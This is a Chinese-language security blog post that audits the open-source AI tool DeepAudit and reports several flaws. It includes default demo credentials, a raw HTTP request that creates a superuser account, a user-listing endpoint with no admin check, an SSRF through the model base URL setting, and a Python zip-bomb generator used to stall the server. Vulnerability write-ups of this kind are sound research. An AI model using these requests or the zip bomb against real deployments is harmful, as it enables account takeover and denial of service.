1、零基础学 IT 月薪过'完'

抓住一月的小尾巴,我们来看一眼 AI 的代码审计 deepaudit

其实蛮好奇,它自己审计自己会是什么样?先让他跑着,稍后看看,看看小白的我和它审计有什么区别

2.1 项目介绍

地址:https://github.com/lintsinghua/DeepAudit

DeepAudit:人人拥有的 AI 黑客战队,让漏洞挖掘触手可及。国内首个开源的代码漏洞挖掘多智能体系统。小白一键部署运行,自主协作审计 + 自动化沙箱 PoC 验证。支持 Ollama 私有部署 ,一键生成报告。支持中转站。让安全不再昂贵,让审计不再复杂。

2.2 代码架构分析

DeepAudit 采用微服务架构,核心由 Multi-Agent 引擎驱动,整体分为后端(FastAPI)、前端(React + TypeScript)与 Docker 部署层

后端 Agent 部分分为任务编排、资产识别、漏洞挖掘、沙箱 PoC

DeepAudit/
├── backend/                        # Python FastAPI 后端
│   ├── app/
│   │   ├── agents/                 # Multi-Agent 核心逻辑
│   │   │   ├── orchestrator.py     # 总指挥:任务编排
│   │   │   ├── recon.py            # 侦察兵:资产识别
│   │   │   ├── analysis.py         # 分析师:漏洞挖掘
│   │   │   └── verification.py     # 验证者:沙箱 PoC
│   │   ├── core/                   # 核心配置与沙箱接口
│   │   ├── models/                 # 数据库模型
│   │   └── services/               # RAG, LLM 服务封装
│   └── tests/                      # 单元测试
├── frontend/                       # React + TypeScript 前端
│   ├── src/
│   │   ├── components/             # UI 组件库
│   │   ├── pages/                  # 页面路由
│   │   └── stores/                 # Zustand 状态管理
├── docker/                         # Docker 部署配置
│   ├── sandbox/                    # 安全沙箱镜像构建
│   └── postgres/                   # 数据库初始化
└── docs/                           # 详细文档DeepAudit/
├── backend/                        # Python FastAPI 后端
│   ├── app/
│   │   ├── agents/                 # Multi-Agent 核心逻辑
│   │   │   ├── orchestrator.py     # 总指挥:任务编排
│   │   │   ├── recon.py            # 侦察兵:资产识别
│   │   │   ├── analysis.py         # 分析师:漏洞挖掘
│   │   │   └── verification.py     # 验证者:沙箱 PoC

Multi-Agent 协作流程策略规划(Orchestrator)→ 信息收集(Recon)→ 漏洞挖掘(Analysis)→ PoC 验证(Verification)→ 报告生成(Orchestrator)通过 TaskHandoff 在当中实现 Agent 的上下文联动。

2.2.1 RAG 与知识增强概览

 # ============ 🔥 初始化 RAG 系统 ============
    retriever = None
    try:
        await emit(f"🔍 正在初始化 RAG 系统...")

        # 从用户配置中获取 embedding 配置
        user_llm_config = (user_config or {}).get('llmConfig', {})
        user_other_config = (user_config or {}).get('otherConfig', {})
        user_embedding_config = user_other_config.get('embedding_config', {})

        # Embedding Provider 优先级:用户嵌入配置 > 环境变量
        embedding_provider = (
            user_embedding_config.get('provider') or
            getattr(settings, 'EMBEDDING_PROVIDER', 'openai')
        )

        # Embedding Model 优先级:用户嵌入配置 > 环境变量
        embedding_model = (
            user_embedding_config.get('model') or
            getattr(settings, 'EMBEDDING_MODEL', 'text-embedding-3-small')
        )

        # API Key 优先级:用户嵌入配置 > 环境变量 EMBEDDING_API_KEY > 用户 LLM 配置 > 环境变量 LLM_API_KEY
        # 注意:API Key 可以共享,因为很多用户使用同一个 OpenAI Key 做 LLM 和 Embedding
        embedding_api_key = (
            user_embedding_config.get('api_key') or
            getattr(settings, 'EMBEDDING_API_KEY', None) or
            user_llm_config.get('llmApiKey') or
            getattr(settings, 'LLM_API_KEY', '') or
            ''
        )

        # Base URL 优先级:用户嵌入配置 > 环境变量 EMBEDDING_BASE_URL > None(使用提供商默认地址)
        # 🔥 重要:Base URL 不应该回退到 LLM 的 base_url,因为 Embedding 和 LLM 可能使用完全不同的服务
        # 例如:LLM 使用 SiliconFlow,但 Embedding 使用 HuggingFace
        embedding_base_url = (
            user_embedding_config.get('base_url') or
            getattr(settings, 'EMBEDDING_BASE_URL', None) or
            None
        )

        logger.info(f"RAG 配置: provider={embedding_provider}, model={embedding_model}, base_url={embedding_base_url or '(使用默认)'}")
        await emit(f"📊 Embedding 配置: {embedding_provider}/{embedding_model}")

        # 创建 Embedding 服务
        embedding_service = EmbeddingService(
            provider=embedding_provider,
            model=embedding_model,
            api_key=embedding_api_key,
            base_url=embedding_base_url,
        )

        # 创建 collection_name(基于 project_id)
        collection_name = f"project_{project_id}" if project_id else "default_project"

        # 🔥 v2.0: 创建 CodeIndexer 并进行智能索引
        # 智能索引会自动:
        # - 检测 embedding 模型变更,如需要则自动重建
        # - 对比文件 hash,只更新变化的文件(增量更新)
        indexer = CodeIndexer(
            collection_name=collection_name,
            embedding_service=embedding_service,
            persist_directory=settings.VECTOR_DB_PATH,
        )

        logger.info(f"📝 开始智能索引项目: {project_root}")
        await emit(f"📝 正在构建代码向量索引...")

        index_progress = None
        last_progress_update = 0
        last_embedding_progress = [0]  # 使用列表以便在闭包中修改
        embedding_total = [0]  # 记录总数
        .....
        .....
        .....

​ DeepAudit 基于 RAG(Retrieval-Augmented Generation,检索增强生成)机制,实现对代码语义的深度理解与安全知识的动态增强。在任务执行阶段,系统会初始化 ChromaDB 向量数据库,并以项目 ID 为维度创建独立的 collection;同时支持灵活配置 OpenAI、Ollama 等嵌入服务。
在
agent_tasks.py 中,为 Recon Agent 注册了 rag_query 工具,用于语义级代码与知识检索;为 Analysis Agent 注册了 rag_query、security_search 和 function_context 工具,分别支持安全模式下的语义搜索、漏洞知识检索以及函数级上下文获取。此外,系统还提供 SecurityKnowledgeQueryTool 与 GetVulnerabilityKnowledgeTool,用于统一访问安全与漏洞知识库。
在系统提示词层面,明确要求 Agent 优先通过 RAG 工具进行自然语言语义查询,而非传统的关键词匹配,从而提升分析准确性与安全审计效果。

2.2.2 快速分析与深度审计

维度

快速分析(fast)

Agent 深度审计(agent)

入口与路由

调用 runRepositoryAudit/scanZipFile 等快速扫描接口,任务归属“常规扫描” CreateTaskDialog.tsx

调用 createAgentTask,跳转至 /agent-audit/{id} 专属页面 CreateTaskDialog.tsx

执行方式

逐文件或按规则集进行 LLM/规则分析,无 Agent 编排 AgentModeSelector.tsx

Orchestrator 编排 Recon→Analysis→Verification 多阶段协作,支持动态策略调整 README.md orchestrator.py

知识增强

不依赖 RAG,主要用规则与提示词模板

初始化 ChromaDB 向量库,注册 rag_query、security_search、function_context 等工具到 Recon/Analysis Agent

漏洞验证

无验证环节,仅报告潜在问题

Verification Agent 在 Docker 沙箱生成并执行 PoC,支持自我修正与误报过滤

耗时

分钟级,适合 CI/CD 与高频检查 AgentModeSelector.tsx

较长(数十分钟到小时级),但结果更全面准确 AgentModeSelector.tsx

适用场景

日常检查、增量扫描、CI/CD 门禁

发版前审计、深度安全评估、需 PoC 验证的场景 AgentModeSelector.tsx

报告内容

基础五维检测(Bug/安全/性能/风格/可维护性

包含 Agent 思考链、跨文件关联、RAG 检索证据、PoC 验证结果与可复现代码 README_EN.md

Agent 深度审计在时间上和 token 上都比快速分析长

2.3 鉴权分析

先从登录的地方说起

@router.post("/login", response_model=Token)
async def login(
    db: AsyncSession = Depends(get_db),
    form_data: OAuth2PasswordRequestForm = Depends()
) -> Any:
    """
    OAuth2 compatible token login, get an access token for future requests.
    Username field should contain the email address.
    """
    result = await db.execute(select(User).where(User.email == form_data.username))
    user = result.scalars().first()
    
    if not user or not security.verify_password(form_data.password, user.hashed_password):
        raise HTTPException(status_code=400, detail="邮箱或密码错误")
    elif not user.is_active:
        raise HTTPException(status_code=400, detail="用户已被禁用")
        
    access_token_expires = timedelta(minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES)
    return {
        "access_token": security.create_access_token(
            user.id, expires_delta=access_token_expires
        ),
        "token_type": "bearer",
    }

DeepAudit 采用基于 JWT 的无状态认证与基于依赖注入的授权机制:用户通过 /auth/login 获取 Bearer Token,后续请求由 get_current_user 依赖自动解析并验证 JWT,同时支持超级用户权限验证。

这里登录后会生成 access_token 到前端,配合 Bearer 作为 token 的标识符,在大部分重要接口位置都存在

current_user: User = Depends(deps.get_current_user),

用户获取

get_current_user

async def get_current_user(
    db: AsyncSession = Depends(get_db),
    token: str = Depends(reusable_oauth2)
) -> User:
    try:
        payload = jwt.decode(
            token, settings.SECRET_KEY, algorithms=[security.ALGORITHM]
        )
        token_data = token_schema.TokenPayload(**payload)
    except (JWTError, ValidationError):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="无法验证凭据",
            headers={"WWW-Authenticate": "Bearer"},
        )
    
    result = await db.execute(select(User).where(User.id == token_data.sub))
    user = result.scalars().first()
    
    if not user:
        raise HTTPException(status_code=404, detail="用户不存在")
    if not user.is_active:
        raise HTTPException(status_code=400, detail="用户已被禁用")
    return user

JWT 解析:从请求头 Authorization: Bearer <token> 提取 token,使用 SECRET_KEY 与 HS256 算法解码,若失败抛出异常内容,重要接口处都会出现 owner_id == current_user.id 防止越权

3.1 目标

未授权、敏感信息泄露、SQL 注入、目录穿越、DDOS、SSRC、XSS

此次目标就先找找这几个看

4.1 Api梳理

from fastapi import APIRouter
from app.api.v1.endpoints import auth, users, projects, tasks, scan, members, config, database, prompts, rules, agent_tasks, embedding_config, ssh_keys

api_router = APIRouter()
api_router.include_router(auth.router, prefix="/auth", tags=["auth"])
api_router.include_router(users.router, prefix="/users", tags=["users"])
api_router.include_router(projects.router, prefix="/projects", tags=["projects"])
api_router.include_router(members.router, prefix="/projects", tags=["members"])
api_router.include_router(tasks.router, prefix="/tasks", tags=["tasks"])
api_router.include_router(scan.router, prefix="/scan", tags=["scan"])
api_router.include_router(config.router, prefix="/config", tags=["config"])
api_router.include_router(database.router, prefix="/database", tags=["database"])
api_router.include_router(prompts.router, prefix="/prompts", tags=["prompts"])
api_router.include_router(rules.router, prefix="/rules", tags=["rules"])
api_router.include_router(agent_tasks.router, prefix="/agent-tasks", tags=["agent-tasks"])
api_router.include_router(embedding_config.router, prefix="/embedding", tags=["embedding"])
api_router.include_router(ssh_keys.router, prefix="/ssh-keys", tags=["ssh-keys"])

明确知道了有这几个路径,基于这几个路径去寻找未授权的API

4.2 梳理过后结果

漏洞(1)

current_user 带有这个的方法,都有一个鉴权,其余没鉴权的,返回的都是默认数据和信息,没什么用,虽有鉴权,但有注册,我们就不怕。

通过登录这个口,我们思考,它会有什么账户吗?没错,我们发现了初始化后的管理员账户

DEFAULT_DEMO_EMAIL = "demo@example.com"
DEFAULT_DEMO_PASSWORD = "demo123"

恭喜你,发现了第一个漏洞点,虽然有了一个权限,但祈祷没改默认密码吧

漏洞(1.1)

通过这个账户,我们进去了,发现有很多默认项目

找了半天,发现没什么可操作的地方,但是,我们不能放弃,翻来覆去,发现了一段代码,用户操作的

@router.post("/", response_model=UserSchema)
async def create_user(
    *,
    db: AsyncSession = Depends(get_db),
    user_in: UserCreate,
    current_user: User = Depends(deps.get_current_active_superuser),
) -> Any:
    """
    创建新用户(仅管理员)
    """
    result = await db.execute(select(User).where(User.email == user_in.email))
    user = result.scalars().first()
    if user:
        raise HTTPException(
            status_code=400,
            detail="该邮箱已被注册",
        )
    
    db_user = User(
        email=user_in.email,
        hashed_password=security.get_password_hash(user_in.password),
        full_name=user_in.full_name,
        phone=user_in.phone,
        role=user_in.role,
        is_active=user_in.is_active if user_in.is_active is not None else True,
        is_superuser=user_in.is_superuser if user_in.is_superuser is not None else False,
    )
    db.add(db_user)
    await db.commit()
    await db.refresh(db_user)
    return db_user
@router.put("/{user_id}", response_model=UserSchema)
async def update_user(
    user_id: str,
    *,
    db: AsyncSession = Depends(get_db),
    user_in: UserUpdate,
    current_user: User = Depends(deps.get_current_active_superuser),
) -> Any:
    """
    更新用户信息(仅管理员)
    """
    result = await db.execute(select(User).where(User.id == user_id))
    user = result.scalars().first()
    if not user:
        raise HTTPException(status_code=404, detail="用户不存在")
    
    update_data = user_in.model_dump(exclude_unset=True)
    
    # 如果更新密码
    if 'password' in update_data and update_data['password']:
        update_data['hashed_password'] = security.get_password_hash(update_data['password'])
    update_data.pop('password', None)
    
    for field, value in update_data.items():
        setattr(user, field, value)
    
    await db.commit()
    await db.refresh(user)
    return user

@router.delete("/{user_id}")
async def delete_user(
    user_id: str,
    db: AsyncSession = Depends(get_db),
    current_user: User = Depends(deps.get_current_active_superuser),
) -> Any:
    """
    删除用户(仅管理员)
    """
    if user_id == current_user.id:
        raise HTTPException(status_code=400, detail="不能删除自己的账户")
    
    result = await db.execute(select(User).where(User.id == user_id))
    user = result.scalars().first()
    if not user:
        raise HTTPException(status_code=404, detail="用户不存在")
    
    await db.delete(user)
    await db.commit()
    return {"message": "用户已删除"}

恭喜你,可以去干点"事"了,通过这个账户创建一堆子账户留给自己备用,其次还可以创建管理员账户,以防这个账号被封禁

POST /api/v1/users/ HTTP/1.1
Host: xxxx
Accept: application/json, text/plain, */*
Authorization: Bearer 拼接自己的
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://10.8.2.50:3020/audit-tasks
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 185

{
    "email": "realboy@qq.com",
    "password": "123",
    "full_name": "真男人",
    "phone": "13994643121",
    "role": "admin",
    "is_active": true,
    "is_superuser": true
}

记住 "is_superuser": true 这个参数,才是代表你是管理员的第一步。好了,目前来说这个洞到现在就没什么用了,等作者更新吧。

漏洞(2)

默认账户,失败了,对面有警惕性,修改了默认密码,接下来,我们注册了一个账户

没问题吧?顺便测测xss,邮箱登录,进来后发现什么都没有

最简单的先去访问一下系统管理,发现了大模型的配置

尝试一下 API BASE URL 写一个远程地址,看是否有链接

好了,这应该算个洞吧,这次只是简单审计不做过多的深入

漏洞(2.1)

光这样下去,全是中低危.....

其实,回到1.2接口位置,我们发现

@router.get("/", response_model=UserListResponse)
async def read_users(
    db: AsyncSession = Depends(get_db),
    skip: int = Query(0, ge=0),
    limit: int = Query(20, ge=1, le=100),
    search: Optional[str] = Query(None, description="搜索关键词"),
    role: Optional[str] = Query(None, description="角色筛选"),
    is_active: Optional[bool] = Query(None, description="状态筛选"),
    current_user: User = Depends(deps.get_current_user),
) -> Any:
    """
    获取用户列表(支持分页、搜索、筛选)
    """
    query = select(User)
    count_query = select(func.count(User.id))
    
    # 搜索条件
    if search:
        search_filter = or_(
            User.email.ilike(f"%{search}%"),
            User.full_name.ilike(f"%{search}%"),
            User.phone.ilike(f"%{search}%")
        )
        query = query.where(search_filter)
        count_query = count_query.where(search_filter)
    
    # 角色筛选
    if role:
        query = query.where(User.role == role)
        count_query = count_query.where(User.role == role)
    
    # 状态筛选
    if is_active is not None:
        query = query.where(User.is_active == is_active)
        count_query = count_query.where(User.is_active == is_active)
    
    # 获取总数
    total_result = await db.execute(count_query)
    total = total_result.scalar()
    
    # 分页查询
    query = query.order_by(User.created_at.desc()).offset(skip).limit(limit)
    result = await db.execute(query)
    users = result.scalars().all()
    
    return {
        "users": users,
        "total": total,
        "skip": skip,
        "limit": limit
    }

current_user 只验证了是否是用户登录,但没有验证是否是管理员,所以无论是哪个账号都可以去获取到所有用户信息

漏洞(2.2)

def _extract_member(self, member, targetpath, pwd):
    """Extract the ZipInfo object 'member' to a physical
       file on the path targetpath.
    """
    if not isinstance(member, ZipInfo):
        member = self.getinfo(member)

    # build the destination pathname, replacing
    # forward slashes to platform specific separators.
    arcname = member.filename.replace('/', os.path.sep)

    if os.path.altsep:
        arcname = arcname.replace(os.path.altsep, os.path.sep)
    # interpret absolute pathname as relative, remove drive letter or
    # UNC path, redundant separators, "." and ".." components.
    arcname = os.path.splitdrive(arcname)[1]
    invalid_path_parts = ('', os.path.curdir, os.path.pardir)
    arcname = os.path.sep.join(x for x in arcname.split(os.path.sep)
                               if x not in invalid_path_parts)
    if os.path.sep == '\\':
        # filter illegal characters on Windows
        arcname = self._sanitize_windows_name(arcname, os.path.sep)

    if not arcname and not member.is_dir():
        raise ValueError("Empty filename.")

    targetpath = os.path.join(targetpath, arcname)
    targetpath = os.path.normpath(targetpath)

    # Create all upper directories if necessary.
    upperdirs = os.path.dirname(targetpath)
    if upperdirs and not os.path.exists(upperdirs):
        os.makedirs(upperdirs)

    if member.is_dir():
        if not os.path.isdir(targetpath):
            os.mkdir(targetpath)
        return targetpath

    with self.open(member, pwd=pwd) as source, \
         open(targetpath, "wb") as target:
        shutil.copyfileobj(source, target)

    return targetpath

shutil.copyfileobj(source, target) 的逻辑非常简单:它会不断地从 source(压缩包里的文件流)读取数据,然后写入 target(磁盘上的文件),直到 source

如果可以的话可以在这里面添加一个保险的,限制单个文件大小,当然这只能限制这一个漏洞方式,其余方式还没测试。

随机注册一个号,然后采取压缩炸弹尝试,按照下面py的方式构造一个zip

import zipfile
import os

def create_zip_bomb():
    file_name = "bomb.zip"
    content = b"0" * 1024 * 1024 * 1024*10

    with zipfile.ZipFile(file_name, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("aaa.txt", content)
if __name__ == "__main__":
    create_zip_bomb()

上传后这里显示的是9.95MB并没有超过500MB,然后保存

@router.post("/{id}/zip")
async def upload_project_zip(
    id: str,
    file: UploadFile = File(...),
    db: AsyncSession = Depends(get_db),
    current_user: User = Depends(deps.get_current_user),
) -> Any:
    """
    上传或更新项目ZIP文件
    """
    project = await db.get(Project, id)
    if not project:
        raise HTTPException(status_code=404, detail="项目不存在")
    
    # 检查权限
    if project.owner_id != current_user.id:
        raise HTTPException(status_code=403, detail="无权操作此项目")
    
    # 检查项目类型
    if project.source_type != "zip":
        raise HTTPException(status_code=400, detail="仅ZIP类型项目可以上传ZIP文件")
    
    # 验证文件类型
    if not file.filename.lower().endswith('.zip'):
        raise HTTPException(status_code=400, detail="请上传ZIP格式文件")
    
    # 保存到临时文件
    temp_file_id = str(uuid.uuid4())
    temp_file_path = f"/tmp/{temp_file_id}.zip"
    
    try:
        with open(temp_file_path, "wb") as buffer:
            shutil.copyfileobj(file.file, buffer)
        
        # 检查文件大小
        file_size = os.path.getsize(temp_file_path)
        if file_size > 500 * 1024 * 1024:  # 500MB limit
            raise HTTPException(status_code=400, detail="文件大小不能超过500MB")
        
        # 保存到持久化存储
        meta = await save_project_zip(id, temp_file_path, file.filename)

在这里也是成功的绕过了500MB的限制,送给了服务器10G的文件

很正常

选择审计,但必须选择Agent 审计,目前来说agent审计才会有效果

点击启动!

来到看见ZIP 解压完成

发现没有动静了,看在正在解析了,好了,如法炮制的,再创建几个,或者是说10G->100G->1000G,因为这是一台比较大的服务器,我如法炮制了做了两个,然后目前就是后台请求无响应了...大模型处理都阻塞了。

5.1 满足一个好奇点吧

如果让它自己审计自己会怎样?


初步的报告看一下吧,严重的就默认账户泄露,AWS 硬编码:AKIAIOSFODNN7EXAMPLE,默认数据库账户密码、md5碰撞、跨域问题

6.1 结束语

目前这些漏洞只能说是微乎其微,由于快一月结尾了,所以先草率结束看,它还有一部分恶搞的漏洞比如给其他人的项目里面注入一些不存在的漏洞,这个利用还是需要上面几个洞配合配合价值性不大

但只能说是娱乐娱乐。

7.1 修复方案

没有明确修复方案,但可以丢去 AI 跑修复方案,手动修复,官方目前还没发布修复方案。

​

​

免责声明

本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。

  • 请勿将本文提供的信息用于任何非法目的

  • 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞

  • 使用本文信息造成的任何后果,由使用者自行承担